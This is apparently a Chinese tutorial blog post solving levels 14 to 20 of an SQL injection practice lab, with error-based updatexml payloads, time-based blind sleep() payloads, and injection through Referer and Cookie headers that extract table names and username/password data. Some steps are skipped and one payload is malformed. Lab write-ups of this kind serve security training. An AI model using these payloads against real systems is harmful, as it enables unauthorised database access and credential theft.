Sql注入(靶场)14-20关

第十四关

跟上面一样闭合换成"

第一步查询库名

复制代码
" and updatexml(1,concat(1,(select database())),1)#

第二步查询表名

复制代码
" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

第三步查询字段

复制代码
" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#

第四步获取敏感数据

复制代码
" and updatexml(1,concat(1,(select group_concat(username,'~',password) from users)),1)#
或
" and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1)#

第十五关

这一关发送的重放器里进行注入

第一步进行时间盲注判断发现响应时间为sleep函数执行的时间则存在

复制代码
' and sleep(3)#

第二步开始判断数据库的长度

复制代码
' and if(length(database())=8,sleep(3),1)#
#截取数据库的字符
' and if((ascii(substr(database(),1,1))=115),sleep(3),0)#

第三步爆出表名

复制代码
#截取表的长度
' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),0)#
#获取表的名称,这里直接跑user表
' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)#

第四步爆出字段

复制代码
' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=117,sleep(5),0)#

第五步爆出数据

复制代码
' and if(ascii(substr((select (id,username,password) from users),1,1))=117,sleep(5),0)#

第十六关

这一关与15关的注入方式一样,都是使用盲注可以实现,只是闭合方式不同,这里需要使用")来闭合,就里就不再演示

第一步进行时间盲注

复制代码
") and sleep(3)#

第二步开始判断数据库的长度

第三步爆出表名

第四步爆出字段

第五步爆出数据

第十七关

这一关是比较特殊的一关,从17关开始,后端会过滤我们输入的内容,我们看一下后端的代码

我们可以看看前端页面输入的时用户名和新密码,输入了admin,然后输入密码,就会显示密码已经成功的更新了

这时我们闭合一下

可以看到报错了,说明是存在注入的,那么我们就可以尝试使用报错注入

复制代码
' and (updatexml(1,concat(0x7e, database(),0x7e),1))#

可以看到是可以注入出数据库名称了,后面的表名,列名,数据都可以使用这种方式注入

我们接着使用报错注入爆破他的表名

我们继续爆破他的字段名

我们接着爆破他的数据

这时我们得到了数据库中的数据,至此爆破完成。

第十九关

我们和第十八关一样在输入框中输入 admin 点击登录,直接抓包

这时我们使用看到页面中显示 referer 我们在请求头中也看到了 referer

我们就在它后面加冒号查看页面会不会变化

我们发现页面报错了这时我们还是使用报错注入来获取数据库的名字

我们还是使用 and' 来闭合

可以得到数据库的名字

这时我们就能使用报错注入来爆破数据了(和第十八关一样)

这时我们得到了数据库中的数据,至此爆破完成。

第二十关

我们和第十八关一样在输入框中输入 admin 点击登录

我们继续使用 bp 抓这个页面,发送到重放器

我们再请求头中的 cookie 后加'发现页面有变化发生了报错

这时我们使用报错注入

这时我们得到数据库的名字

然后我们继续用报错注入就能得到数据库的数据

得到了数据库的数据,至此爆破成功!

相关推荐
Y***K4341 小时前
MySQL网站
数据库·mysql
q***44811 小时前
postgresql链接详解
数据库·postgresql
菜鸟‍1 小时前
【后端学习】MySQL数据库
数据库·后端·学习·mysql
污斑兔1 小时前
腾讯云 CloudBase 数据库 CRUD 完整指南
数据库·云计算·腾讯云
tuokuac2 小时前
批量新增操作为什么要加@Transactional注解
数据库
q***9944 小时前
Redis的Spring配置
数据库·redis·spring
S***y3964 小时前
MySQL视频
数据库·mysql
周杰伦fans5 小时前
[特殊字符] 代理模式超详细讲解 ——.NET
数据库·c#·代理模式
TDengine (老段)5 小时前
TDengine 转换函数 TO_JSON 用户手册
android·大数据·数据库·json·时序数据库·tdengine·涛思数据
2301_800256115 小时前
第七章 空间存储与索引 知识点梳理3(空间填充曲线)
数据库·笔记·sql·postgresql